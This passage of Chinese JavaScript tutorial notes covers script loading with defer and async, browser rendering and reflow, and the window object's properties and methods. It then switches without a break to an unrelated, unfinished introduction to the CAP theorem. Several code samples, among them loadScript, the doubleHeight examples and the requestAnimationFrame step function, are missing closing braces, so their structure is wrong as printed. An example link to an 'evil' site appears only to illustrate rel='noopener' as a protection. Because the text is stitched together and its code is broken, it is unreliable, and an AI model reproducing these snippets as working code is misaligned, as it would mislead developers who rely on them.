onload="console.log(document.body.innerHTML)"> </script>但是,如果将脚本放在页面底部,就可以完全按照正常的方式写,上面两种方式都不需要。<body> <!-- 其他代码 --> <script> console.log(document.body.innerHTML); </script> </body>如果有多个script标签,比如下面这样。<script src="a.js"></script> <script src="b.js"></script>浏览器会同时并行下载a.js和b.js,但是,执行时会保证先执行a.js,然后再执行b.js,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。解析和执行 CSS,也会产生阻塞。Firefox 浏览器会等到脚本前面的所有样式表,都下载并解析完,再执行脚本;Webkit则是一旦发现脚本引用了样式,就会暂停执行脚本,等到样式表下载并解析完,再恢复执行。此外,对于来自同一个域名的资源,比如脚本文件、样式表文件、图片文件等,浏览器一般有限制,同时最多下载6~20个资源,即最多同时打开的 TCP 连接有限制,这是为了防止对服务器造成太大压力。如果是来自不同域名的资源,就没有这个限制。所以,通常把静态文件放在不同的域名之下,以加快下载速度。2.2 defer 属性 (推迟执行外部js)为了解决脚本文件下载阻塞网页渲染的问题,一个方法是对<script>元素加入defer属性。它的作用是延迟脚本的执行,等到 DOM 加载生成后,再执行脚本。<script src="a.js" defer></script> <script src="b.js" defer></script>上面代码中,只有等到 DOM 加载完成后,才会执行a.js和b.js。defer属性的运行流程如下。浏览器开始解析 HTML 网页。解析过程中,发现带有defer属性的<script>元素。浏览器继续往下解析 HTML 网页,同时并行下载<script>元素加载的外部脚本。浏览器完成解析 HTML 网页,此时再回过头执行已经下载完成的脚本。有了defer属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded事件触发前执行(即刚刚读取完</html>标签),而且可以保证执行顺序就是它们在页面上出现的顺序。对于内置而不是加载外部脚本的script标签,以及动态生成的script标签,defer属性不起作用。另外,使用defer加载的外部脚本不应该使用document.write方法。2.3 async 属性(异步执行外部js)解决“阻塞效应”的另一个方法是对 <script>元素加入async属性。<script src="a.js" async></script> <script src="b.js" async></script>async属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。浏览器开始解析 HTML 网页。解析过程中,发现带有async属性的script标签。浏览器继续往下解析 HTML 网页,同时并行下载 <script>标签中的外部脚本。脚本下载完成,浏览器暂停解析 HTML 网页,开始执行下载的脚本。脚本执行完毕,浏览器恢复解析 HTML 网页。async属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async属性的脚本文件里面的代码,不应该使用document.write方法。defer属性和async属性到底应该使用哪一个?一般来说,如果脚本之间没有依赖关系,就使用async属性,如果脚本之间有依赖关系,就使用defer属性。如果同时使用async和defer属性,后者不起作用,浏览器行为由async属性决定。2.4 脚本的动态加载 (createElement script)<script>元素还可以动态生成,生成后再插入页面,从而实现脚本的动态加载。['a.js', 'b.js'].forEach(function(src) { var script = document.createElement('script'); script.src = src; document.head.appendChild(script); });这种方法的好处是,动态生成的script标签不会阻塞页面渲染,也就不会造成浏览器假死。但是问题在于,这种方法无法保证脚本的执行顺序,哪个脚本文件先下载完成,就先执行哪个。如果想避免这个问题,可以设置async属性为false。['a.js', 'b.js'].forEach(function(src) { var script = document.createElement('script'); script.src = src; script.async = false; document.head.appendChild(script); });上面的代码不会阻塞页面渲染,而且可以保证b.js在a.js后面执行。不过需要注意的是,在这段代码后面加载的脚本文件,会因此都等待b.js执行完成后再执行。如果想为动态加载的脚本指定回调函数,可以使用下面的写法。function loadScript(src, done) { var js = document.createElement('script'); js.src = src; js.onload = function() { done(); js.onerror = function() { done(new Error('Failed to load script ' + src)); document.head.appendChild(js); }2.5 加载使用的协议(http or https)如果不指定协议,浏览器默认采用 HTTP 协议下载。<script src="example.js"></script>上面的example.js默认就是采用 HTTP 协议下载,如果要采用 HTTPS 协议下载,必需写明。<script src="https://example.js"></script>但是有时我们会希望,根据页面本身的协议来决定加载协议,这时可以采用下面的写法。<script src="//example.js"></script>3、浏览器的组成浏览器的核心是两部分:渲染引擎和 JavaScript 解释器(又称 JavaScript 引擎)。3.2 渲染引擎渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。不同的浏览器有不同的渲染引擎。Firefox:Gecko 引擎Safari:WebKit 引擎Chrome:Blink 引擎IE: Trident 引擎Edge: EdgeHTML 引擎渲染引擎处理网页,通常分成四个阶段。解析代码:HTML 代码解析为 DOM,CSS 代码解析为 CSSOM(CSS Object Model)。对象合成:将 DOM 和 CSSOM 合成一棵渲染树(render tree)。布局:计算出渲染树的布局(layout)。绘制:将渲染树绘制到屏幕。以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的 HTML 代码还没下载完,但浏览器已经显示出内容了。3.2 重流和重绘渲染树转换为网页布局,称为“布局流”(flow);布局显示到页面的这个过程,称为“绘制”(paint)。它们都具有阻塞效应,并且会耗费很多时间和计算资源。graph LR 1(渲染树) -- 布局流flow --> 2(网页布局) 2 --绘制paint--> 3(页面显示)页面生成以后,脚本操作和样式表操作,都会触发“重流”(reflow)和“重绘”(repaint)。用户的互动也会触发重流和重绘,比如设置了鼠标悬停(a:hover)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的 DOM 元素,而以底层 DOM 元素的变动代替;再比如,重绘table布局和flex布局,开销都会比较大。var foo = document.getElementById('foobar'); foo.style.color = 'blue'; foo.style.marginTop = '30px';上面的代码只会导致一次重绘,因为浏览器会累积 DOM 变动,然后一次性执行。下面是一些优化技巧。读取 DOM 或者写入 DOM,尽量写在一起,不要混杂。不要读取一个 DOM 节点,然后立刻写入,接着再读取一个 DOM 节点。缓存 DOM 信息。不要一项一项地改变样式,而是使用 CSS class 一次性改变样式。使用documentFragment操作 DOM动画使用absolute定位或fixed定位,这样可以减少对其他元素的影响。只在必要时才显示隐藏元素。使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流。使用虚拟 DOM(virtual DOM)库。下面是一个window.requestAnimationFrame()对比效果的例子。// 重绘代价高 function doubleHeight(element) { var currentHeight = element.clientHeight; element.style.height = (currentHeight * 2) + 'px'; all_my_elements.forEach(doubleHeight); // 重绘代价低 function doubleHeight(element) { var currentHeight = element.clientHeight; window.requestAnimationFrame(function () { element.style.height = (currentHeight * 2) + 'px'; all_my_elements.forEach(doubleHeight);上面的第一段代码,每读一次 DOM,就写入新的值,会造成不停的重排和重流。第二段代码把所有的写操作,都累积在一起,从而 DOM 代码变动的代价就最小化了。3.3 JavaScript 引擎JavaScript 引擎的主要作用是,读取网页中的 JavaScript 代码,对其处理后运行。JavaScript 是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。为了提高运行速度,目前的浏览器都将 JavaScript 进行一定程度的编译,生成类似字节码(bytecode)的中间代码,以提高运行速度。早期,浏览器内部对 JavaScript 的处理过程如下:读取代码,进行词法分析(Lexical analysis),将代码分解成词元(token)。对词元进行语法分析(parsing),将代码整理成“语法树”(syntax tree)。使用“翻译器”(translator),将代码转为字节码(bytecode)。使用“字节码解释器”(bytecode interpreter),将字节码转为机器码。逐行解释将字节码转为机器码,是很低效的。为了提高运行速度,现代浏览器改为采用“即时编译”(Just In Time compiler,缩写 JIT),即字节码只在运行时编译,用到哪一行就编译哪一行,并且把编译结果缓存(inline cache)。通常,一个程序被经常用到的,只是其中一小部分代码,有了缓存的编译结果,整个程序的运行速度就会显著提升。字节码不能直接运行,而是运行在一个虚拟机(Virtual Machine)之上,一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码,有的 JavaScript 虚拟机基于源码,即只要有可能,就通过 JIT(just in time)编译器直接把源码编译成机器码运行,省略字节码步骤。这一点与其他采用虚拟机(比如 Java)的语言不尽相同。这样做的目的,是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机:Chakra (Microsoft Internet Explorer)Nitro/JavaScript Core (Safari)Carakan (Opera)SpiderMonkey (Firefox)V8 (Chrome, Chromium)二、window 对象1、概述浏览器里面,window对象(注意,w为小写)指当前的浏览器窗口。它也是当前页面的顶层对象,即最高一层的对象,所有其他对象都是它的下属。一个变量如果未声明,那么默认就是顶层对象的属性。a = 1; window.a // 1上面代码中,a是一个没有声明就直接赋值的变量,它自动成为顶层对象的属性。window有自己的实体含义,其实不适合当作最高一层的顶层对象,这是一个语言的设计失误。最早,设计这门语言的时候,原始设想是语言内置的对象越少越好,这样可以提高浏览器的性能。因此,语言设计者 Brendan Eich 就把window对象当作顶层对象,所有未声明就赋值的变量都自动变成window对象的属性。这种设计使得编译阶段无法检测出未声明变量,但到了今天已经没有办法纠正了。2、window 对象的属性2.1 window.name 浏览器窗口的名字,默认空字符串window.name属性是一个字符串,表示当前浏览器窗口的名字。窗口不一定需要名字,这个属性主要配合超链接和表单的target属性使用。window.name = 'Hello World!'; console.log(window.name) // "Hello World!"该属性只能保存字符串,如果写入的值不是字符串,会自动转成字符串。各个浏览器对这个值的储存容量有所不同,但是一般来说,可以高达几MB。只要浏览器窗口不关闭,这个属性是不会消失的。举例来说,访问a.com时,该页面的脚本设置了window.name,接下来在同一个窗口里面载入了b.com,新页面的脚本可以读到上一个网页设置的window.name。页面刷新也是这种情况。一旦浏览器窗口关闭后,该属性保存的值就会消失,因为这时窗口已经不存在了。笔记:该属性是定义在浏览器窗口对象window上的,跟访问的站点没有关系,就是说定义了该属性,再访问其他站点时,该属性依然存在。2.2 window.closed 窗口是否关闭,window.opener 打开当前窗口的父窗口对象window.closed属性返回一个布尔值,表示窗口是否关闭。window.closed // false上面代码检查当前窗口是否关闭。这种检查意义不大,因为只要能运行代码,当前窗口肯定没有关闭。这个属性一般用来检查,使用脚本打开的新窗口是否关闭。var popup = window.open(); if ((popup !== null) && !popup.closed) { // 窗口仍然打开着 }window.opener属性表示打开当前窗口的父窗口对象。如果当前窗口没有父窗口(即直接在地址栏输入打开),则返回null。window.open().opener === window // true上面表达式会打开一个新窗口,然后返回true。如果两个窗口之间不需要通信,建议将子窗口的opener属性显式设为null,这样可以减少一些安全隐患。var newWin = window.open('example.html', 'newWindow', 'height=400,width=400'); newWin.opener = null;上面代码中,子窗口的opener属性设为null,两个窗口之间就没办法再联系了。通过opener属性,可以获得父窗口的全局属性和方法,但只限于两个窗口同源的情况(参见《同源限制》一章),且其中一个窗口由另一个打开。<a>元素添加rel="noopener"属性,可以防止新打开的窗口获取父窗口,减轻被恶意网站修改父窗口 URL 的风险。<a href="https://an.evil.site" target="_blank" rel="noopener"> </a>2.3 window.self,window.window 都指向窗口本身,只读window.self和window.window属性都指向窗口本身。这两个属性只读。window.self === window // true window.window === window // true2.4 window.frames 类数组(i)frame集合,window.length返回(i)frame总数window.frames属性返回一个类似数组的对象,成员为页面内所有框架窗口,包括frame元素和iframe元素。window.frames[0]表示页面中第一个框架窗口。如果iframe元素设置了id或name属性,那么就可以用属性值,引用这个iframe窗口。比如<iframe name="myIFrame">可以用frames['myIFrame']或者frames.myIFrame来引用。frames属性实际上是window对象的别名。frames === window // true因此,frames[0]也可以用window[0]表示。但是,从语义上看,frames更清晰,而且考虑到window还是全局对象,因此推荐表示多窗口时,总是使用frames[0]的写法。更多介绍请看下文的《多窗口操作》部分。window.length属性返回当前网页包含的框架总数。如果当前网页不包含frame和iframe元素,那么window.length就返回0。window.frames.length === window.length // true上面代码表示,window.frames.length与window.length应该是相等的。2.5 window.frameElement 框架元素window.frameElement属性主要用于当前窗口嵌在另一个网页的情况(嵌入<object>、<iframe>或<embed>元素),返回当前窗口所在的那个元素节点。如果当前窗口是顶层窗口,或者所嵌入的那个网页不是同源的,该属性返回null。// HTML 代码如下 // <iframe src="about.html"></iframe> // 下面的脚本在 about.html 里面 var frameEl = window.frameElement; if (frameEl) { frameEl.src = 'other.html'; }上面代码中,frameEl变量就是<iframe>元素。2.6 window.top 顶层窗口,window.parent 父窗口window.top属性指向最顶层窗口,主要用于在框架窗口(frame)里面获取顶层窗口。window.parent属性指向父窗口。如果当前窗口没有父窗口,window.parent指向自身。if (window.parent !== window.top) { // 表明当前窗口嵌入不止一层 }对于不包含框架的网页,这两个属性等同于window对象。2.7 window.status 读写状态栏文本window.status属性用于读写浏览器状态栏的文本。但是,现在很多浏览器都不允许改写状态栏文本,所以使用这个方法不一定有效。2.8 window.devicePixelRatio 样式像素与物理像素比window.devicePixelRatio属性返回一个数值,表示一个 CSS 像素的大小与一个物理像素的大小之间的比率。也就是说,它表示一个 CSS 像素由多少个物理像素组成。它可以用于判断用户的显示环境,如果这个比率较大,就表示用户正在使用高清屏幕,因此可以显示较大像素的图片。2.9 位置大小属性(1)window.screenX,window.screenY 窗口与屏幕左上角的X、Y距离window.screenX和window.screenY属性,返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离(单位像素)。这两个属性只读。(2) window.innerHeight,window.innerWidth 视口的宽高window.innerHeight和window.innerWidth属性,返回网页在当前窗口中可见部分的高度和宽度,即“视口”(viewport)的大小(单位像素)。这两个属性只读。用户放大网页的时候(比如将网页从100%的大小放大为200%),这两个属性会变小。因为这时网页的像素大小不变(比如宽度还是960像素),只是每个像素占据的屏幕空间变大了,因为可见部分(视口)就变小了。注意,这两个属性值包括滚动条的高度和宽度。(3)window.outerHeight,window.outerWidth 整体窗口宽高window.outerHeight和window.outerWidth属性返回浏览器窗口的高度和宽度,包括浏览器菜单和边框(单位像素)。这两个属性只读。(4)window.scrollX,window.scrollY 窗口水平/垂直滚动距离window.scrollX属性返回页面的水平滚动距离,window.scrollY属性返回页面的垂直滚动距离,单位都为像素。这两个属性只读。注意,这两个属性的返回值不是整数,而是双精度浮点数。如果页面没有滚动,它们的值就是0。举例来说,如果用户向下拉动了垂直滚动条75像素,那么window.scrollY就是75左右。用户水平向右拉动水平滚动条200像素,window.scrollX就是200左右。if (window.scrollY < 75) { window.scroll(0, 75); }上面代码中,如果页面向下滚动的距离小于75像素,那么页面向下滚动75像素。(5)window.pageXOffset,window.pageYOffset 别名,同(4),window.pageXOffset属性和window.pageYOffset属性,是window.scrollX和window.scrollY别名。2.10 组件属性 (浏览器的组件对象,如地址栏等)组件属性返回浏览器的组件对象。这样的属性有下面几个。window.locationbar:地址栏对象window.menubar:菜单栏对象window.scrollbars:窗口的滚动条对象window.toolbar:工具栏对象window.statusbar:状态栏对象window.personalbar:用户安装的个人工具栏对象这些对象的visible属性是一个布尔值,表示这些组件是否可见。这些属性只读。window.locationbar.visible window.menubar.visible window.scrollbars.visible window.toolbar.visible window.statusbar.visible window.personalbar.visible2.11 全局对象属性全局对象属性指向一些浏览器原生的全局对象。window.document:指向document对象,详见《document 对象》一章。注意,这个属性有同源限制。只有来自同源的脚本才能读取这个属性。【文档对象】window.location:指向Location对象,用于获取当前窗口的 URL 信息。它等同于document.location属性,详见《Location 对象》一章。【URL信息对象】window.navigator:指向Navigator对象,用于获取环境信息,详见《Navigator 对象》一章。window.history:指向History对象,表示浏览器的浏览历史,详见《History 对象》一章。window.localStorage:指向本地储存的 localStorage 数据,详见《Storage 接口》一章。window.sessionStorage:指向本地储存的 sessionStorage 数据,详见《Storage 接口》一章。window.console:指向console对象,用于操作控制台,详见《console 对象》一章。window.screen:指向Screen对象,表示屏幕信息,详见《Screen 对象》一章。2.12 window.isSecureContext 是否在加密环境,https协议为truewindow.isSecureContext属性返回一个布尔值,表示当前窗口是否处在加密环境。如果是 HTTPS 协议,就是true,否则就是false。3、window 对象的方法3.1 window.alert(),window.prompt(),window.confirm()window.alert()、window.prompt()、window.confirm()都是浏览器与用户互动的全局方法。它们会弹出不同的对话框,要求用户做出回应。注意,这三个方法弹出的对话框,都是浏览器统一规定的式样,无法定制。*(1)window.alert() 对话框 *window.alert()方法弹出的对话框,只有一个“确定”按钮,往往用来通知用户某些信息。window.alert('Hello World');用户只有点击“确定”按钮,对话框才会消失。对话框弹出期间,浏览器窗口处于冻结状态,如果不点“确定”按钮,用户什么也干不了。window.alert()方法的参数只能是字符串,没法使用 CSS 样式,但是可以用\n指定换行。alert('本条提示\n分成两行');(2)window.prompt() 对话框,返回输入值window.prompt()方法弹出的对话框,提示文字的下方,还有一个输入框,要求用户输入信息,并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据。var result = prompt('您的年龄?', 25) // 弹窗对话输入框,包含提示文字,和默认已输入的文字'25',确定后返回给result上面代码会跳出一个对话框,文字提示为“您的年龄?”,要求用户在对话框中输入自己的年龄(默认显示25)。用户填入的值,会作为返回值存入变量result。window.prompt()的返回值有两种情况,可能是字符串(有可能是空字符串),也有可能是null。具体分成三种情况。用户输入信息,并点击“确定”,则用户输入的信息就是返回值。用户没有输入信息,直接点击“确定”,则输入框的默认值就是返回值。用户点击了“取消”(或者按了 ESC 按钮),则返回值是null。window.prompt()方法的第二个参数是可选的,但是最好总是提供第二个参数,作为输入框的默认值。*(3)window.confirm() 对话框,返回布尔值 *window.confirm()方法弹出的对话框,除了提示信息之外,只有“确定”和“取消”两个按钮,往往用来征询用户是否同意。var result = confirm('你最近好吗?');上面代码弹出一个对话框,上面只有一行文字“你最近好吗?”,用户选择点击“确定”或“取消”。confirm方法返回一个布尔值,如果用户点击“确定”,返回true;如果用户点击“取消”,则返回false。var okay = confirm('Please confirm this message.'); if (okay) { // 用户按下“确定” } else { // 用户按下“取消” }confirm的一个用途是,用户离开当前页面时,弹出一个对话框,问用户是否真的要离开。window.onunload = function () { return window.confirm('你确定要离开当面页面吗?'); }这三个方法都具有堵塞效应,一旦弹出对话框,整个页面就是暂停执行,等待用户做出反应。3.2 window.open(), window.close(),window.stop()(1)window.open() 打开一个新窗口window.open方法用于新建另一个浏览器窗口,类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用,如果无法新建窗口,则返回null。var popup = window.open('somefile.html');上面代码会让浏览器弹出一个新建窗口,网址是当前域名下的somefile.html。open方法一共可以接受三个参数。window.open(url, windowName, [windowFeatures])url:字符串,表示新窗口的网址。如果省略,默认网址就是about:blank。windowName:字符串,表示新窗口的名字。如果该名字的窗口已经存在,则占用该窗口,不再新建窗口。如果省略,就默认使用_blank,表示新建一个没有名字的窗口。另外还有几个预设值,_self表示当前窗口,_top表示顶层窗口,_parent表示上一层窗口。windowFeatures:字符串,内容为逗号分隔的键值对(详见下文),表示新窗口的参数,比如有没有提示栏、工具条等等。如果省略,则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口,则该参数不起作用,浏览器沿用以前窗口的参数。下面是一个例子。var popup = window.open( 'somepage.html', 'DefinitionsWindows', 'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes' );上面代码表示,打开的新窗口高度和宽度都为200像素,没有地址栏,但有状态栏和滚动条,允许用户调整大小。第三个参数可以设定如下属性。left:新窗口距离屏幕最左边的距离(单位像素)。注意,新窗口必须是可见的,不能设置在屏幕以外的位置。top:新窗口距离屏幕最顶部的距离(单位像素)。height:新窗口内容区域的高度(单位像素),不得小于100。width:新窗口内容区域的宽度(单位像素),不得小于100。outerHeight:整个浏览器窗口的高度(单位像素),不得小于100。outerWidth:整个浏览器窗口的宽度(单位像素),不得小于100。menubar:是否显示菜单栏。toolbar:是否显示工具栏。location:是否显示地址栏。personalbar:是否显示用户自己安装的工具栏。status:是否显示状态栏。dependent:是否依赖父窗口。如果依赖,那么父窗口最小化,该窗口也最小化;父窗口关闭,该窗口也关闭。minimizable:是否有最小化按钮,前提是dialog=yes。noopener:新窗口将与父窗口切断联系,即新窗口的window.opener属性返回null,父窗口的window.open()方法也返回null。resizable:新窗口是否可以调节大小。scrollbars:是否允许新窗口出现滚动条。dialog:新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。titlebar:新窗口是否显示标题栏。alwaysRaised:是否显示在所有窗口的顶部。alwaysLowered:是否显示在父窗口的底下。close:新窗口是否显示关闭按钮。对于那些可以打开和关闭的属性,设为yes或1或不设任何值就表示打开,比如status=yes、status=1、status都会得到同样的结果。如果想设为关闭,不用写no,而是直接省略这个属性即可。也就是说,如果在第三个参数中设置了一部分属性,其他没有被设置的yes/no属性都会被设成no,只有titlebar和关闭按钮除外(它们的值默认为yes)。上面这些属性,属性名与属性值之间用等号连接,属性与属性之间用逗号分隔。'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'另外,open()方法的第二个参数虽然可以指定已经存在的窗口,但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制,浏览器只有在两个窗口同源,或者目标窗口被当前网页打开的情况下,才允许open方法指向该窗口。window.open方法返回新窗口的引用。var windowB = window.open('windowB.html', 'WindowB'); windowB.window.name // "WindowB"注意,如果新窗口和父窗口不是同源的(即不在同一个域),它们彼此不能获取对方窗口对象的内部属性。下面是另一个例子。var w = window.open(); console.log('已经打开新窗口'); w.location = 'http://example.com';上面代码先打开一个新窗口,然后在该窗口弹出一个对话框,再将网址导向example.com。由于open这个方法很容易被滥用,许多浏览器默认都不允许脚本自动新建窗口。只允许在用户点击链接或按钮时,脚本做出反应,弹出新窗口。因此,有必要检查一下打开新窗口是否成功。var popup = window.open(); if (popup === null) { // 新建窗口失败 }(2)window.close()关闭当前窗口window.close方法用于关闭当前窗口,一般只用来关闭window.open方法新建的窗口。popup.close()该方法只对顶层窗口有效,iframe框架之中的窗口使用该方法无效。(3)window.stop() 停止加载网页window.stop()方法完全等同于单击浏览器的停止按钮,会停止加载图像、视频等正在或等待加载的对象。window.stop()3.3 window.moveTo() 移动窗口,window.moveBy() 移动窗口到相对位置window.moveTo()方法用于移动浏览器窗口到指定位置。它接受两个参数,分别是窗口左上角距离屏幕左上角的水平距离和垂直距离,单位为像素。window.moveTo(100, 200)上面代码将窗口移动到屏幕(100, 200)的位置。window.moveBy()方法将窗口移动到一个相对位置。它接受两个参数,分别是窗口左上角向右移动的水平距离和向下移动的垂直距离,单位为像素。window.moveBy(25, 50)上面代码将窗口向右移动25像素、向下移动50像素。为了防止有人滥用这两个方法,随意移动用户的窗口,目前只有一种情况,浏览器允许用脚本移动窗口:该窗口是用window.open()方法新建的,并且窗口里只有它一个 Tab 页。除此以外的情况,使用上面两个方法都是无效的。3.4 window.resizeTo() 缩放窗口到,window.resizeBy() 缩放窗口-相对大小window.resizeTo()方法用于缩放窗口到指定大小。它接受两个参数,第一个是缩放后的窗口宽度(outerWidth属性,包含滚动条、标题栏等等),第二个是缩放后的窗口高度(outerHeight属性)。window.resizeTo( window.screen.availWidth / 2, window.screen.availHeight / 2 )上面代码将当前窗口缩放到,屏幕可用区域的一半宽度和高度。window.resizeBy()方法用于缩放窗口。它与window.resizeTo()的区别是,它按照相对的量缩放,window.resizeTo()需要给出缩放后的绝对大小。它接受两个参数,第一个是水平缩放的量,第二个是垂直缩放的量,单位都是像素。window.resizeBy(-200, -200)上面的代码将当前窗口的宽度和高度,都缩小200像素。笔记:resizeTo是把窗口缩放到指定大小,而resizeBy是相对缩放多少大小3.5 window.scrollTo(),window.scroll(),window.scrollBy()window.scrollTo方法用于将文档滚动到指定位置。它接受两个参数,表示滚动后位于窗口左上角的页面坐标。window.scrollTo(x-coord, y-coord)它也可以接受一个配置对象作为参数。window.scrollTo(options)配置对象options有三个属性。top:滚动后页面左上角的垂直坐标,即 y 坐标。left:滚动后页面左上角的水平坐标,即 x 坐标。behavior:字符串,表示滚动的方式,有三个可能值(smooth、instant、auto),默认值为auto。window.scrollTo({ top: 1000, behavior: 'smooth' });window.scroll()方法是window.scrollTo()方法的别名。window.scrollBy()方法用于将网页滚动指定距离(单位像素)。它接受两个参数:水平向右滚动的像素,垂直向下滚动的像素。window.scrollBy(0, window.innerHeight)上面代码用于将网页向下滚动一屏。如果不是要滚动整个文档,而是要滚动某个元素,可以使用下面三个属性和方法。Element.scrollTopElement.scrollLeftElement.scrollIntoView()3.6 window.print() 打印机对话框window.print方法会跳出打印对话框,与用户点击菜单里面的“打印”命令效果相同。常见的打印按钮代码如下。document.getElementById('printLink').onclick = function () { window.print(); }非桌面设备(比如手机)可能没有打印功能,这时可以这样判断。if (typeof window.print === 'function') { // 支持打印功能 }3.7 window.focus(),window.blur()window.focus()方法会激活窗口,使其获得焦点,出现在其他窗口的前面。var popup = window.open('popup.html', 'Popup Window'); if ((popup !== null) && !popup.closed) { popup.focus(); }上面代码先检查popup窗口是否依然存在,确认后激活该窗口。window.blur()方法将焦点从窗口移除。当前窗口获得焦点时,会触发focus事件;当前窗口失去焦点时,会触发blur事件。3.8 window.getSelection() 获取用户选中文本window.getSelection方法返回一个Selection对象,表示用户现在选中的文本。var selObj = window.getSelection();使用Selection对象的toString方法可以得到选中的文本。var selectedText = selObj.toString();3.9 window.getComputedStyle() 返回元素最终样式,window.matchMedia()window.getComputedStyle()方法接受一个元素节点作为参数,返回一个包含该元素的最终样式信息的对象,详见《CSS 操作》一章。window.matchMedia()方法用来检查 CSS 的mediaQuery语句,详见《CSS 操作》一章。3.10 window.requestAnimationFrame() 将回调函数推迟到重流时执行window.requestAnimationFrame()方法跟setTimeout类似,都是推迟某个函数的执行。不同之处在于,setTimeout必须指定推迟的时间,window.requestAnimationFrame()则是**推迟到浏览器下一次重流时执行,**执行完才会进行下一次重绘。重绘通常是 16ms 执行一次,不过浏览器会自动调节这个速率,比如网页切换到后台 Tab 页时,requestAnimationFrame()会暂停执行。如果某个函数会改变网页的布局,一般就放在window.requestAnimationFrame()里面执行,这样可以节省系统资源,使得网页效果更加平滑。因为慢速设备会用较慢的速率重流和重绘,而速度更快的设备会有更快的速率。该方法接受一个回调函数作为参数。window.requestAnimationFrame(callback)上面代码中,callback是一个回调函数。callback执行时,它的参数就是系统传入的一个高精度时间戳(performance.now()的返回值),单位是毫秒,表示距离网页加载的时间。window.requestAnimationFrame()的返回值是一个整数,这个整数可以传入window.cancelAnimationFrame(),用来取消回调函数的执行。下面是一个window.requestAnimationFrame()执行网页动画的例子。var element = document.getElementById('animate'); element.style.position = 'absolute'; var start = null; function step(timestamp) { // timestamp距离网页加载完成的时间戳 if (!start) start = timestamp; var progress = timestamp - start; // 元素不断向右移,最大不超过200像素 element.style.left = Math.min(progress / 10, 200) + 'px'; // 如果距离第一次执行不超过 2000 毫秒, // 就继续执行动画 if (progress < 2000) { window.requestAnimationFrame(step); window.requestAnimationFrame(step);上面代码定义了一个网页动画,持续时间是2秒,会让元素向右移动。3.11 window.requestIdleCallback() 将回调函数推迟到系统空闲时执行window.requestIdleCallback()**跟setTimeout类似,也是将某个函数推迟执行,但是它保证将回调函数推迟到系统资源空闲时执行。**也就是说,如果某个任务不是很关键,就可以使用window.requestIdleCallback()将其推迟执行,以保证网页性能。它跟window.requestAnimationFrame()的区别在于,后者指定回调函数在下一次浏览器重排时执行,问题在于下一次重排时,系统资源未必空闲,不一定能保证在16毫秒之内完成;window.requestIdleCallback()可以保证回调函数在系统资源空闲时执行。该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间,如果过了这个时间,回调函数不管系统资源有无空虚,都会执行。window.requestIdleCallback(callback[, options])callback参数是一个回调函数。该回调函数执行时,系统会传入一个IdleDeadline对象作为参数。IdleDeadline对象有一个didTimeout属性(布尔值,表示是否为超时调用)和一个timeRemaining()方法(返回该空闲时段剩余的毫秒数)。options参数是一个配置对象,目前只有timeout一个属性,用来指定回调函数推迟执行的最大毫秒数。该参数可选。window.requestIdleCallback()方法返回一个整数。该整数可以传入window.cancelIdleCallback()取消回调函数。下面是一个例子。requestIdleCallback(myNonEssentialWork); function myNonEssentialWork(deadline) { while (deadline.timeRemaining() > 0) { doWorkIfNeeded(); }上面代码中,requestIdleCallback()用来执行非关键任务myNonEssentialWork。该任务先确认本次空闲时段有剩余时间,然后才真正开始执行任务。下面是指定timeout的例子。requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });上面代码指定,processPendingAnalyticsEvents必须在未来2秒之内执行。如果由于超时导致回调函数执行,则deadline.timeRemaining()返回0,deadline.didTimeout返回true。如果多次执行window.requestIdleCallback(),指定多个回调函数,那么这些回调函数将排成一个队列,按照先进先出的顺序执行。
CAP理论CAP 理论/定理起源于 2000年,由加州大学伯克利分校的Eric Brewer教授在分布式计算原理研讨会(PODC)上提出,因此 CAP定理又被称作 布鲁尔定理(Brewer’s theorem)2年后,麻省理工学院的Seth Gilbert和Nancy Lynch 发表了布鲁尔猜想的证明,CAP理论正式成为分布式领域的定理。简介CAP 也就是 Consistency(一致性)、Availability(可用性)、Partition Tolerance(分区容错性) 这三个单词首字母组合。CAP 理论的提出者布鲁尔在提出 CAP 猜想的时候,并没有详细定义 Consistency、Availability、Partition Tolerance 三个单词的明确定义。因此,对于 CAP 的民间解读有很多,一般比较被大家推荐的是下面 👇 这种版本的解读。在理论计算机科学中,CAP 定理(CAP theorem)指出对于一个分布式系统来说,当设计读写操作时,只能同时满足以下三点中的两个:一致性(Consistency) : 所有节点访问同一份最新的数据副本可用性(Availability): 非故障的节点在合理的时间内返回合理的响应(不是错误或者超时的响应)。分区容错性(Partition tolerance) : 